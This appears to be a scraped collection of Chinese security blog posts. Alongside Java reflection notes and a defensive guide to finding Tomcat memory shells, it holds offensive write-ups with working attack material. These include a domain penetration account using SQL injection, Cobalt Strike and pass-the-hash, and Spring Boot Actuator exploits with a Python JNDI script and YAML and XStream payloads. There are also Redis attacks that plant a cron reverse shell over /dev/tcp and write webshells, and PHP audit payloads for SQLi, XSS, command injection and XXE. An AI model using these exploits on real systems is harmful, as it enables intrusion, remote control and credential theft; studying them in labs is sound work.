            System.out.println("中介带你看房");
      }

      public void hetong(){
            System.out.println("签合同吧！");
      }
      //收中介费

      public void fare(){
            System.out.println("这房子不错，阔绰的你决定给点小费");
      }

}

客户端访问代理角色

public class Clinet {

    public static void main(String[] args) {
        Host host = new Host();
        Proxy proxy = new Proxy(host);

        proxy.rent();
    }
}

运行一下看看效果

缺点

一个真实对象需要产生一个代理

动态代理（先留着看完反射再看）

动态代理（这里是基于JDK动态代理）

一个动态代理类可以代理多个类，只要是实现了同一个接口

抽象角色

public interface Rent {

   public void rent();
}

真实角色

public class Host implements Rent{

    public void rent(){
        System.out.println("房东要出租房子！");
    }
}

代理角色

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Proxyhandler implements InvocationHandler {

    //被代理的接口

    Rent rent;
    public void setRent(Rent rent){
        this.rent = rent;
    }

    //生成得到代理类

    public Object getProxy(){
        return Proxy.newProxyInstance(this.getClass().getClassLoader(),rent.getClass().getInterfaces(),this);
    }

    // 处理代理实例，并返回结果

    public Object invoke(Object proxy, Method method,Object[] args) throws Throwable{
        Object result = method.invoke(rent,args);
        return result;
    }
}

客户端（客户）角色

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class Clent {

    public static void main(String[] args) {
        //真实角色
        Host host = new Host();
        //代理角色

        Proxyhandler pih = new Proxyhandler();
        //通过调用程序处理角色来处理要调用的接口角色

        pih.setRent(host);

        Rent proxy = (Rent) pih.getProxy();

        proxy.rent();
    }
}

注解（Java.Annotation）

格式

@注释名

内置注解

@Override

定义在java.lang.Override中，表示重写

Deprecated

定义在java.lang.Deprecated中，表示废弃，不鼓励使用，使用时会多一条横线，但依旧可以使用

@SuppressWarnings

定义在java.lang.SuppressWarnings中，用来抑制编译时的警告信息

使用前

使用后

元注解

作用

注解其他注解

@Target(用于描述注解的使用范围)

@MYAnnotation
public class ZhuJie {

    @MYAnnotation
    public static void main(String[] args) {

    }


}

//METHOD 方法、TYPE 类
@Target(value = {ElementType.METHOD,ElementType.TYPE})
@interface MYAnnotation{

}

@Retention(表示需要在什么级别保存该注释信息，用来描述注解的生命周期（SOURCE < CLASS < RUNTime）)

@Retention(value = RetentionPolicy.RUNTIME)

@Document(说明该注释将被包含在javadoc中)
@Inherited(说明该子类可以继承父类中的该注解)

自定义注解

@interface(自定义注解关键字)
格式

public @interface 注解名{定义内容}

自定义注解

package ChaBugStudy;


import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Syst1m(Team = "ChaBUg",Founder = "Y4er",brother = "syle")
public class ZhuJie {
    @Syst1m
    public static void main(String[] args) {
        System.out.println("ChaBug.Org");
    }


}


@Target(value = {ElementType.TYPE,ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@interface Syst1m{

    String Team() default "ChaBug";
    String Founder() default "Y4er";
    String brother() default "Syle";

}

反射（Reflection）

正常方式

引入需要的“包类”名称-）通过new实例化-〉取得实例化对象

反射方式

实例化对象->getclass()方法->取得完整的“包类”名称

优缺点

可以实现动态创建对象和编译，体现出很大的灵活性。

对性能有影响，慢于直接操作

主要API

java.lang.class  代表一个类
java.lang.reflect.Method  代表类的方法
java.lang.reflect.Field 代表类的成员变量
java.lang.reflect.Constructor 代表类的构造器

获取class类的几种方式

常用方法

package ChaBugStudy;

public class Reflection {
    public static void main(String[] args) throws ClassNotFoundException {
        Person person = new Student();

        //方式一：通过对象获得
        Class c1 = person.getClass();
        System.out.println(c1.hashCode());

        //方式二：forname获得

        Class c2 = Class.forName("ChaBugStudy.Person");
        System.out.println(c2.hashCode());

        //方式三 通过类名.class

        Class c3 = Person.class;
        System.out.println(c3.hashCode());

        //方式四 内置类型的包装类

        Class c4 = Integer.TYPE;
        System.out.println(c4.hashCode());

        //获取父类

        Class c5 = c1.getSuperclass();
        System.out.println(c5.hashCode());

    }
}

class Person{
    String name;

    public Person(){

    }

    public Person(String name){

    }

    @Override
    public String toString(){
        return name;
    }
}

class Student extends Person{
    public Student(){
        this.name = "学生";
        }
}


class Teacher extends Person{
    public Teacher(){
        this.name = "老师";
        }
}

哪些类型可以有Class对象

**
class
interface接口
[]数组
enum枚举
注解@interface
基本数据类型
void
**

    Class c1 = Object c1 = Object.class; //类
    Class c2 = Comparable.class; //接口
    Class c3 = String[].class; //数组
    Class c4 = Override.class; //注解
    Class c5= ElementType.class; // 枚举
    Class c6 = Integer.class; // 基本数据
    Class c7 = void.class; //void
    Class c8 = Class.class; //CLass

获取运行时类的完整结构

获取类的名字

c1.getName() 获取包名加类名
c1.getSimpleName() 获得类名

获得类的属性

Field[] field = c1.getFields() 只能获取public属性
fields = c1.getDeclaredFields() 找到全部的属性

获得指定属性的值

Field name = c1.getDeclaredField("name")

获得类的方法

Method[] methods = c1.getMethods(); 获得本类以及父类的全部public方法

methods = c1.getDeclaredMethods(); 获得本类的所有方法

获得指定方法

Method getname = c1.getMethod("getname",null)
Method serName = c1.getMethod("setname",String.class)

获得构造器

Constructor[] constructors = c1.getConstructors();
for (Constructor constructor:constructors){
    System.out.println(construcior)}

constructors = c1.getDeclaredConstructors();

获得指定构造器

c1.getDeclaredConstructor(String.class,int.class)

动态创建对象执行方法

获得对象

Class c1 = Class.forname("XXX")

构造对象

User user = (User) c1.nerInstance(); 无参构造器

通过构造器创建对象

Constructor constructor = c1.getDeclaredConstructor(String.class)
User user2 = (USer)constructor.nerInstance("Syst1m")

反射调用普通方法

User user3 = (User)c1.nerInstance();
Method serName = c1.getDeclaredMethod("setName",Strind.class);
setName.invoke(User3,"syst1m");

反射操作属性

不能直接操作私有属性，需要关闭安全检测

User user4 = (User)c1.nerInstance();
Field name = c1.getDeclaredFields();

name.setAccessible(true) //关闭权限检测
name.set(User4,"syst1m");

参考

https://blog.csdn.net/lililuni/article/details/83449088

[防守视角] tomcat内存马的多种查杀方式

syst1m — Tue, 15 Sep 2020 16:00:36 +0000

环境搭建

我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境

注入内存马

这里使用了哥斯拉的内存马

查杀方式一：VisualVM（远程调试）

设置jstatd.all.policy 文件

启动jstatd

jstatd.exe -J-Djava.security.policy=jstatd.all.policy -J-Djava.rmi.server.hostname=serverip

设置JVM Connection 修改 catalina.sh文件(LINUX)

JAVA_OPTS="-Djava.rmi.server.hostname=服务器的ip
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=jmx使用的端口
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false $JAVA_OPTS"
export JAVA_OPTS

修改catalina.bat文件(WINDOWS)

set JAVA_OPTS=-Djava.rmi.server.hostname=192.168.67.115 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=8888 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false

下载VisualVM

MBeans安装插件

连接远程Tomcat

检查异常攻击痕迹Filter/Servlet节点

在Servlet节点中我发现到了自己设置的内存马test.ico，说明已经检测到了内存马

查杀方式二：arthas

arthas是Alibaba开源的Java诊断工具
https://github.com/alibaba/arthas

下载

文档地址 https://arthas.aliyun.com/doc/quick-start.html

非常Nice的工具，深入用法请查看使用文档，这里只检测探测一下

启动（选择对应tocmat进程pid）

mbean(查看 Mbean 的信息，查看异常Filter/Servlet节点)

mbean | grep "Servlet"

sc (查看JVM已加载的类信息)

sc xxx.* 模糊搜索类
sc -d

查看payload加载的类信息

查看x.AES_BASE64类加载的类信息

jad(反编译指定已加载类的源码)

jad 类名

还有很多用法值得慢慢学习～

查杀方式三：Copagent

由于VisualVM在环境中可能还需要配置JVM Connection远程调试，我在长亭一篇文章中发现了LandGrey师傅所写的内存马检测工具，经过在本地Tomcat测试，可以检测到我自己设置的内存马，而无需重启Tomcat服务（重启了内存马不就没了吗?）先贴上Git地址

https://github.com/LandGrey/copagent

我本地运行Tomcat服务，使用cop.jar工具，工具首先会识别你正在运行的应用列举出来由你自己选择ID，运行后会在.copagent目录生成结果

在输出结果中，可以查看异常类，例如我的1.jsp和X.AES_BASE64，他会显示所有运行的类以及危险等级，比较高的可以进入目录查看代码进行分析

在java或class文件夹会保存木马以及运行的类

参考

https://mp.weixin.qq.com/s/DRbGeVOcJ8m9xo7Gin45kQ
https://qiita.com/shimizukawasaki/items/5dc9fe780ffbf3a7699c

一次平淡无奇的域渗透

syst1m — Fri, 07 Aug 2020 02:45:16 +0000

这是一次很普通的渗透过程，好兄弟撕夜于网站上发现了SQL注入，为一处登陆处的注入，注入点为用户名或密码。说着我们复制了post包放入sqlmap目录下，直接来一发 -r

注入

POST /XXXXXX/XXX/Login.asp HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://target.com/
Connection: close
Name=admin*&PassWord=asdasd

我们发现支持堆叠注入，直接使用cs生成pscommand于os-shell中执行，上线到cs上便于操作。

Cobalt Strike

我们进入命令行发现机器为域内机器，为普通用户，所以首先第一步想要把权限提升至高权限用户

查看系统补丁情况，到补丁缺少查询网站查询，发现缺少ms16-075，到github中下载对应的提取插件，使用插件进行权限提升，成功将权限提升至system权限

查看了域内机器情况，发现有名为AD1、AD2、AD3的一台主控，两台辅控机器

在当前已经提升了权限的高权限下dump hash，获取到部分用户账户，这时候一个惊喜发生了，就是通过dump hash发现了域管的账号情况，这不是美滋滋吗

但是首先我们将shell注入到了其他进程，万一一下掉了呢对吧

接下来进行pth，使用已经获取的域管账号hash对其他机器进行移动，首先就是AD1的域控

成功获取到了AD1域控的SYSTEM权限

于AD1上进行dump hash

将域管账号对其他机器进行批量pth，梭哈就完事了

最后获得了三台AD，mail，file一些权限，然后就去看电视了

Spring Boot漏洞复现

syst1m — Mon, 01 Jun 2020 03:18:07 +0000

复现一下Sprint Boot的一些漏洞

环境搭建

Dump环境

Mvn构建项目

启动项目

端点信息

路径            描述
/autoconfig    提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过
/beans         描述应用程序上下文里全部的Bean，以及它们的关系
/env           获取全部环境属性
/configprops   描述配置属性(包含默认值)如何注入Bean
/dump          获取线程活动的快照
/health        报告应用程序的健康指标，这些值由HealthIndicator的实现类提供
/info          获取应用程序的定制信息，这些信息由info打头的属性提供
/mappings      描述全部的URI路径，以及它们和控制器(包含Actuator端点)的映射关系
/metrics       报告各种应用程序度量信息，比如内存用量和HTTP请求计数
/shutdown      关闭应用程序，要求endpoints.shutdown.enabled设置为true
/trace         提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册

2.x版本端点移动到/actuator/路径

Jolokia漏洞利用

Jolokia漏洞利用（XXE）

jolokia/list

查看jolokia/list中存在的 Mbeans，是否存在logback 库提供的reloadByURL方法

创建logback.xml和fileread.dtd文件

logback.xml


%remote;%int;]>
&trick;

fileread.dtd

">

将文件上传到公网VPS上并且开启http服务

远程访问logback.xml文件

127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容

Jolokia漏洞利用（RCE）

下载修改RMI服务代码

编译打包

mvn clean install

打包成功后创建target目录下生成RMIServer-0.1.0.jar文件

修改logback.xml文件内容

把RMIServer-0.1.0.jar文件上传到公网vps上并执行

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

nc监听

nc -lvp 6666

漏洞url上访问

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xxx.xxx.xxx.xxx!/logback.xml

反弹shell

Jolokia漏洞利用（RCE-createJNDIRealm方法）

查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法，可能存在JNDI注入，导致远程代码执行

python执行脚本

import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
#运行Realm，触发JNDI 注入
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    pprint(rep.json())

运行RMI服务

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

nc 监听

nc -lvp 6666

python发送请求

python exp.py http://127.0.0.1:8090/

反弹shell

env端点利用

SpringBoot env 获取* 敏感信息

如果Spring Cloud Libraries在路径中，则’/env’端点会默认允许修改Spring环境属性。 “@ConfigurationProperties”的所有bean都可以进行修改和重新绑定。

例如要获取PID（这是假设，假设PID为**）

修改enveureka.client.serviceUrl.defaultZone属性

nc监听

refresh

base64解码获取属性

spring Cloud env yaml利用

当spring boot使用Spring Cloud 相关组件时，会存在spring.cloud.bootstrap.location属性，通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功，使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

下载exp修改执行命令

https://github.com/artsploit/yaml-payload

将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

创建yaml文件并放到公网

 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[
!!java.net.URL ["http://xxx.xxx.xxx.xxx:8000/yaml-payload.jar"] ]]
]

修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址

请求 /refresh 接口触发

执行命令成功

xstream反序列化

前提条件

Eureka-Client <1.8.7（多见于Spring Cloud Netflix）

在VPS创建xstream文件，使用flask返回application/xml格式数据

from flask import Flask, Response

app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """
  
    
      
        
          
            
              
                
                  
                  
                    
                      命令
                    
                    false
                  
                
                
                  
                    java.lang.ProcessBuilder
                    start
                    
                  
                  foo
                
                foo
              
              
            
            
            
          
        
      
    
  
"""
    return Response(xml, mimetype='application/xml')

启动服务

python3 flask_xstream.py

写入配置

刷新触发

获取反弹shell

参考

一次曲折的渗透测试之旅

Spring Boot Actuator 漏洞利用

Spring Boot Actuators配置不当导致RCE漏洞复现

漏洞复现系列之Redis

syst1m — Sun, 24 May 2020 12:50:43 +0000

环境搭建

在虚拟机中搭建redis服务

测试连接

写ssh-keygen公钥登陆

首先在本地生产公私钥文件

ssh-keygen –t rsa

公钥写入 key.txt 文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

连接 Redis 写入文件

cat test.txt | redis-cli -h 192.168.1.103 -x set crackit
redis-cli -h 192.168.1.103
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

私钥登陆

ssh -i id_rsa root@192.168.1.103

利用计划任务执行命令反弹shell

监听一个端口

nc -lvvp 6666

写入反弹shell

set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/6666 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

反弹shell

WEB目录写webshell

写shell

config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save

基于主从复制的RCE

影响范围

Redis 4.x/5.x

工具下载地址

https://github.com/jas502n/Redis-RCE.git

主从利用

python redis-rce.py -r 192.168.1.103 -p 6379 -L 192.168.1.101 -f exp_lin.so

php代码审计学习之函数缺陷

syst1m — Fri, 22 May 2020 02:34:49 +0000

感兴趣的可以参考一下PHP-Audit-Labs

首发地址：php代码审计学习之函数缺陷

in_array函数缺陷

Wish List

Code

class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

代码理解

代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件

in_array函数

in_array
检查数组中是否存在某个值

题解

php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传

piwigo2.7.1实例分析

环境搭建

漏洞分析

于picture.php:332中

case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数

include/functions_rate.inc.php:38

or !in_array($rate, $conf['rate_items']))

查找变量rate是否存在于$conf[‘rate_items’]当中

$conf['rate_items']

直接将rate进行了拼接

$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}

只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true

payload

1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

sqlmap

CTF

环境搭建

stop_hack函数

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}

stop_hack用来过滤一些危险函数

注入

获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询

报错注入payload

and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

参考

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160

filter_var函数缺陷

Twig

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '' .
      'Next slide »';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

使用escape和filter_var进行过滤

escape

默认是使用了htmlspecialchars方法进行过滤，

filter_var

使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

htmlspecialchars转义

& (& 符号)  ===============  &
" (双引号)  ===============  "
' (单引号)  ===============  '
< (小于号)  ===============  <
> (大于号)  ===============  >

默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号

payload

javascript://comment%250aalert(1)

anchor-cms

环境搭建

源码分析

themes/default/404.php:9

anchor/functions/helpers.php:34 current_url()函数

function current_url() {
    return Uri::current();
}

system/uri.php:84

public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }

detect 方法

public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server->has($method) and $uri = $server->get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }

关键代码

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');

system/uri.php:126

    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }

没有对xss进行过滤

payload

http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E

CTF

环境搭建

flag.php

index.php

You have curl {$site_info['host']} successfully!
              ";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p></p>
<ul>
<li>打断点</li>
</ul>
<p></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p></p>
<p><strong>使用$this->Request()->getParam(‘sort’)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
<p></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="line-numbers">/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers"><?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="language-php line-numbers">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=GlobIterator¶m=./*.php¶m2=0
</code></pre>
<p></p>
<ul>
<li>读取flag</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=SimpleXMLElement¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
</code></pre>
<p><br />
– 参考</p>
<pre><code class="line-numbers">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Login {
  public function __construct($user, $pass) {
    $this->loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '<') || !strpos($user, '>')) &&
      (!strpos($pass, '<') || !strpos($pass, '>'))
    ) {
      $format = '<?xml version="1.0"?>' .
        '<user v="%s"/><pass v="%s"/>';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this->login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有<与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">user=<"><injected-tag property="&pass=<injected-tag>
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="language-php line-numbers">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="language-php line-numbers">if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''& null == ''){
    sn()
}

 if(false && true)
</code></pre>
<p></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p></p>
<p><strong>如果$send == ‘N’则发送重置邮件</strong></p>
